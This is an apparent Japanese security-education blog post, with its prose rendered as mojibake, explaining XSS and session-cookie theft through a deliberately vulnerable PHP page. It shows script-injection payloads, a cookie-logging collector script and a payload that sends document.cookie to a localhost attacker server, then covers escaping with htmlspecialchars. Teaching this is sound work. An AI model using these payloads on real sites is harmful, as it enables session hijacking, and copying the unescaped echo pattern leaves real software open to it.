ç 究éçºé¨ã®ä¿è¦ (@takahoyo) ã§ãã ä»åã¯å¼ãã¼ã ã®ã³ã³ãã³ãéçºã®ã¤ã³ã¿ã¼ã³ã·ããã«åå ãã¦ãã濱éããã¤ã³ã¿ã¼ã³ã·ãããéãã¦å¦ãã ãã¨ãå ±æãã¾ãã
ã¯ããã«
ããã«ã¡ã¯ãæ ªå¼ä¼ç¤¾ã¨ãã»ã¨ãã»ã©ãã©ããªã¼ãº å¦çã¤ã³ã¿ã¼ã³ã®æ¿±éã§ãã å¼ç¤¾ã§ã¯äºæ¥ã®ï¼ã¤ã¨ãã¦ãã»ãã¥ãªãã£äººæãè²æããæè²ç¨ã®ãã©ãããã©ã¼ã ã®éçºãè¡ã£ã¦ãã¾ãã ç§ã¯ãã®ä¸ã§æè²ã³ã³ãã³ãã®éçºã«ä¸»ã«åãçµãã§ãã¾ãã
ã³ã³ãã³ãéçºã¨ãã¦æè¿ã§ã¯XSSã«ã¤ãã¦ã®ã³ã³ãã³ãã®ä½æãè¡ãã¾ããã ããã«é¢é£ãã¦ãä»åã¯XSSã«ããCookieã®çªåã«ã¤ãã¦ã®èª¬æããããã¨æãã¾ãã
ã¤ã³ã¿ã¼ã³ã«ã¤ãã¦
æ¬é¡ã«å ¥ãåã«ãã¤ã³ã¿ã¼ã³ã«ã¤ãã¦ç´¹ä»ãããã¨æãã¾ãã ç§ã¯ç¾å¨å¤§å¦é¢ã®ä¿®å£«1å¹´ã§ãããææ¥çããªãæ¥ãä¸å¿ã«é±2æ¥ã»ã©å¤åããã¦ãã¾ãã
å¤åã¨ãã¦ã¯èªå® ãããã«ãªã¢ã¼ãã§åå ãã¦ãã¾ãã ååä¸ã«ã¯ãã¤ãªã¼ãã¼ãã£ã³ã°ãè¡ããã¦ããããã®æéã«å¤åãã¦ããéã«ã¯ã¤ã³ã¿ã¼ã³çãåå ããè¡ãã¿ã¹ã¯ã®ç¢ºèªã質åãªã©ããã¾ãã ãã以å¤ã§ããSlackãGitLabã§é©å®è³ªåãããããã©ã³ãä¼ãªã©äº¤æµã®å ´ãç¨æãã¦ãã ãã£ã¦ããã®ã§ããã«ãªã¢ã¼ãã§ãåé¡ãªãã³ãã¥ãã±ã¼ã·ã§ã³ãåããªããæ¥åãè¡ããã¨ãã§ãã¦ãã¾ãã
ã¾ããåè«ãªã©ç 究ãå¿ããææã«ã¯å¤åãæ¸ããã¦ããã£ãããç 究室ã®äºå®ãæ¥é½å ¥ã£ãéã«ã¯æè»ã«å¤åäºå®ãå¤æ´ãã¦ããã£ããã¨ãå¦æ¥ãåªå ãã¦å¤åãè¡ããã¨ãã§ãã¦ãã¾ãã ãã®ããã«å¦æ¥ã«æ¯éãããããªãç¯å²ã§å¤åããã¦ããã ãã¦ããã®ããé常ã«ãããããã§ãã å ¨ä½çã«é常ã«ãããããç°å¢ã§ã¤ã³ã¿ã¼ã³ãããã¦ããã ãã¦ãã¾ãã
XSSã¨ã¯
ã§ã¯æ¬é¡ã«å ¥ãã¾ããããã¾ãã¯ä»åã®ãã¼ãã§ããXSSã«ã¤ãã¦ç°¡åã«èª¬æãã¾ãã XSSã¨ã¯ãã¯ãã¹ãµã¤ãã»ã¹ã¯ãªããã£ã³ã°ã¨ããèå¼±æ§ã®ç¥ç§°ã«ãªãã¾ãã æ¤ç´¢ç»é¢ã§ã®å ¥åã¯ã¼ãã®åºåãæ²ç¤ºæ¿ã¨ãã£ãããã«ãã¦ã¼ã¶ããã®å ¥åå 容ã®ãããªå¤é¨ããã®å ¥åãã¦ã§ããã¼ã¸ã«åºåããç®æã§çºçãå¾ãèå¼±æ§ã§ãã ãã®ãããªç®æã§HTMLã®çæã«åé¡ãããã¨ãä¸æ£ãªã¹ã¯ãªãããªã©ãåãè¾¼ã¾ãã¦ãã¾ãã¾ãã
å ·ä½çãªä¾ã¨ãã¦ã以ä¸ã®ãããªãã¼ã¸ã«ã¤ãã¦èãã¦ã¿ã¾ãã
<!DOCTYPE html> <html lang="en"> <body> <form method="post" action=""> <input type="text" id="userInput" name="userInput"> <button type="submit">Submit</button> </form> <div> <?php if (isset($_POST['userInput'])) { $userInput = $_POST['userInput']; echo $userInput; } ?> </div> </body> </html>
ããã¯ãå ¥åããã¯ã¹ã«å¯¾ããå ¥åããã®ã¾ã¾åºåããã¨ããç°¡åãªãã¼ã¸ã¨ãªã£ã¦ãã¾ãã ããã§POSTãªã¯ã¨ã¹ãã«ããéä¿¡ãããå 容ã®åºåãè¡ã£ã¦ãã以ä¸ã®ç®æã«æ³¨ç®ãã¦ã¿ã¾ãã
<div> <?php if (isset($_POST['userInput'])) { $userInput = $_POST['userInput']; echo $userInput; } ?> </div>
ä¾ãã°ãHello world
ã¨å
¥åãããå ´åãèãã¾ãã
ãã®æããã®ç®æã¯ä»¥ä¸ã®ããã«HTMLãçæããã¾ãã
<div> Hello world </div>
ãã®ããããã¼ã¸ã®åºåã¨ãã¦ã¯ä»¥ä¸ã®ç»åã®ããã«ãªãã¾ãã
ä¸æ¹ã§ã<script>alert(1);</script>
ã®ãããªå
¥åããããå ´åã«ã¯ã©ã®ããã«ãªãã§ããããï¼
<div> <script>alert(1);</script> </div>
ãã®æãä¸è¨ã®ãããªHTMLãçæããã¾ãã
ããã¨å
¥åãããç®æã¯ã¹ã¯ãªããã¿ã°ã¨ãã¦å¦çããããããalert(1)
ã¨ããã¹ã¯ãªãããå®è¡ããã¦ãã¾ãã¾ãã
Cookieã®çªå
XSSãå©ç¨ããæ»æã®1ã¤ã¨ãã¦ãCookieã®çªåãç´¹ä»ãããã¨æãã¾ãã ä»åã¯Cookieã«ã¤ãã¦ã®è©³ãã説æã¯çç¥ãã¾ãããå¤ãã®ã¢ããªã±ã¼ã·ã§ã³ã§ã¯ããã°ã¤ã³ç¶æ ãä¿æããããã«ã»ãã·ã§ã³IDçã使ããããã®æ å ±ãè¨æ¶ããããã«Cookieãå©ç¨ããã¾ãã ãã®ãããCookieãçªåããããã¨ã§ã»ãã·ã§ã³IDãçã¾ãã¦ãã¾ãã¨ãä¸æ£ãã°ã¤ã³ããã¦ãã¾ããªã©ã®å±éºãããã¾ãããã®ãããªæ»æã®ãã¨ãã»ãã·ã§ã³ãã¤ã¸ã£ãã¯ã¨å¼ã³ã¾ãã æ¬è¨äºã§ã¯ãXSSã«ããCookieãçªåãããã¨ã«é¢ãã¦èª¬æãããããCookieãã»ãã·ã§ã³ãã¤ã¸ã£ãã¯ã«ã¤ãã¦ããã«ç¥ãããæ¹ã¯ãã²èª¿ã¹ã¦ã¿ã¦ãã ããã
ä¸è¨ã®ããã«ãHTMLã®çæã«åé¡ãããå ´åã¹ã¯ãªãããåãè¾¼ããã¨ãå¯è½ã«ãªãã¾ãã ãããå©ç¨ãã¦ã»ãã·ã§ã³IDãçªåãããæ§åã説æãããã¨æãã¾ãã
ã¾ãã¯åè¿°ã®ãã¼ã¸ã®PHPã³ã¼ãã«ä»¥ä¸ã追è¨ãã¦ã»ãã·ã§ã³IDã®ä»ä¸ãè¡ãã¾ãã
<?php session_start(); ?>
以ä¸ã®ç¶æ ã§ãã¼ã¸ã«ã¢ã¯ã»ã¹ãããã¨ã§Cookieã«PHPSESSIDã¨ããå¤ãã»ãã·ã§ã³IDã¨ãã¦è¿½å ããã¾ãã
ãã¼ã¸ã®æ©è½ã¯å
ç¨ã¨åæ§ã§ãããããå
¥åã¨ãã¦<script>alert(document.cookie);</script>
ãä¸ãã¦ã¿ã¾ãã
åè¿°ããããã«XSSèå¼±æ§ãããã®ã§ãalert(document.cookie)
ã¨ããã¹ã¯ãªãããå®è¡ããã¦ãã¾ãã¾ãã
document.cookie
ã¯ãã¼ã¸ä¸ã®å
¨ã¦ã®Cookieãæååã¨ãã¦åå¾ããããããã£ã¨ãªã£ã¦ãã¾ãã
ãã®ããããããå®è¡ãããã¨ä»¥ä¸ã®ããã«ã¢ã©ã¼ãããã¯ã¹ã«Cookieã表示ããã¾ãã
ãããããã®ãããªã¹ã¯ãªãããå®è¡ããã¦ãã¾ã£ã¦ãèªèº«ã®ãã©ã¦ã¶ä¸ã§Cookieãåºåãããã ãã§ããã第ä¸è ã«çã¾ããã¨ãããã¨ã¯ããã¾ããã ãã®ãããæ»æè ãCookieã®å¤ãåå¾ããããã«ã¯ä½ããã®å½¢ã§éä¿¡ãããå¿ è¦ãããã¾ãã ããã§ã¯ãæ»æè ã®ç¨æãããµã¼ãã«éä¿¡ããã¦ã¿ã¾ãã
æ»æã®æé ã¯ä»¥ä¸ã®ããã«ãªãã¾ãã
- Cookieãåãåãããã®ãµã¼ããç¨æãã
- XSSèå¼±æ§ã®ãããã¼ã¸ã«ãCookieã1.ã§ç¨æãããµã¼ãã«éä¿¡ããã¹ã¯ãªãããåãè¾¼ã
- 被害è ããã¼ã¸ãé²è¦§ããçã«ãããã¹ã¯ãªãããå®è¡ããã
ã§ã¯ãå®éã«ãã¼ã«ã«ã«ãµã¼ããç«ã¦ã¦è©¦ãã¦ã¿ã¾ãã
ç¨æãããµã¼ãã¨ãã¦ã¯ãGETãªã¯ã¨ã¹ãã«ããã¦ãcookie
ã¨ããã¯ã¨ãªãã©ã¡ã¼ã¿ã§åãåã£ãå¤ããã¡ã¤ã«ã«ä¿åãã¦ãã以ä¸ã®ãããªãã¼ã¸ãç¨æãã¾ãã
<?php $logFile = 'cookie.log'; $cookieData = $_GET['cookie'] . "\n"; file_put_contents($logFile, $cookieData, FILE_APPEND); ?>
次ã«å
¥åã«ã¤ãã¦ã§ãã
GETãªã¯ã¨ã¹ããéä¿¡ãããã°ããããã以ä¸ã®ããã«document.location.href
ãæ¸ãæãããã¨ã§ãªã¯ã¨ã¹ããéä¿¡ããããã¨ãã§ãã¾ãã
<script>document.location.href='http://localhost:5000/log.php?cookie='+document.cookie</script>
ããã§document.location.hrefã¯ãç¾å¨ã®ã¦ã§ããã¼ã¸ã®URLã表ãããããã£ã§ããããããããå¤æ´ãããã¨ã§è¢«å®³è ã«æå³ããªãå¤é¨ãµã¤ãã¸ãªãã¤ã¬ã¯ãããããã¨ãã§ãã¾ãã æ»æè ç¨ãµã¼ããlocalhost:5000ã«ç«ã¦ãã®ã§ããã®ããã«æå®ãã¦ãã¾ãã
ä»åã¯ç¨æããèå¼±ãªãã¼ã¸ã«èªåã®ãã©ã¦ã¶ã§ä»¥ä¸ã®ãªã¯ã¨ã¹ããéä¿¡ãããã¨ã§ãæ»æè ç¨ãµã¼ãã«Cookieãéä¿¡ãããã試ãã¦ã¿ã¾ãã
ãªã¯ã¨ã¹ãéä¿¡å¾ãæ»æè ãµã¼ãå´ã§Cookieã®æ¸ãè¾¼ã¿ãè¡ã£ã¦ãããã¡ã¤ã«ã確èªãã¦ã¿ãã¨ç¢ºãã«æ¸ãè¾¼ã¾ãã¦ãããã¨ããããã¾ãã
ä»åã¯è¢«å®³è å´ã§èªãæ»æã¨ãªãå ¥åãè¡ãå®è¡ããã¾ããããå®éã®æ»æã§ã¯è¢«å®³è ãç½ ã®ãã¼ã¸ãé²è¦§ãã¦ãã¾ãçã«ãããã¹ã¯ãªãããæå³ããã«å®è¡ãã¦ãã¾ãã¾ãã
対ç
XSSèå¼±æ§ãçºçãã主ãªåå ã®1ã¤ã«ç¹æ®è¨å·ãã¨ã¹ã±ã¼ãããã¦ããªããã¨ãæãããã¾ãã
HTMLã«ããã¦ç¹å¥ãªæå³ãæã¤ã<
, >
, &
, "
, '
ã®ãããªè¨å·ã®å½¹å²ãæã¡æ¶ããåãªãæåã¨ãã¦æ±ãå¿
è¦ãããã¾ãã
PHPã§ã¯htmlspecialcharsé¢æ°ãç¨ãã¦ãhtmlspecialchars($userInput, ENT_QUOTES)
ã®ããã«æ¸ããã¨ã§ <
, >
, &
, "
, '
ã®ã¨ã¹ã±ã¼ããå¯è½ã§ãã
ã¨ã¹ã±ã¼ãã¯å¯¾çã®ä¸ä¾ã§ãããä»ã«ãã¢ããªã±ã¼ã·ã§ã³ã«åããã対çãèãããã¾ãã IPAã®å®å ¨ãªã¦ã§ããµã¤ãã®ä½ãæ¹ã«ã¯ä»ã®å¯¾çææ³ã«ã¤ãã¦ãã¾ã¨ãããã¦ããã®ã§ããã²åèã«ãã¦ã¿ã¦ãã ããã
ãããã«
ä»åã¯ã¤ã³ã¿ã¼ã³æ¥åã¨ãã¦è¡ã£ã¦ããã³ã³ãã³ãéçºããå¦ãã ç¥èã¨ãã¦XSSã«ã¤ãã¦èª¬æããã¦ããã ãã¾ããã åºæ¬çãªå 容ã§ãããåèã«ãªã£ãããèå³ãæã¤ãã£ããã«ãªãã°å¹¸ãã§ãã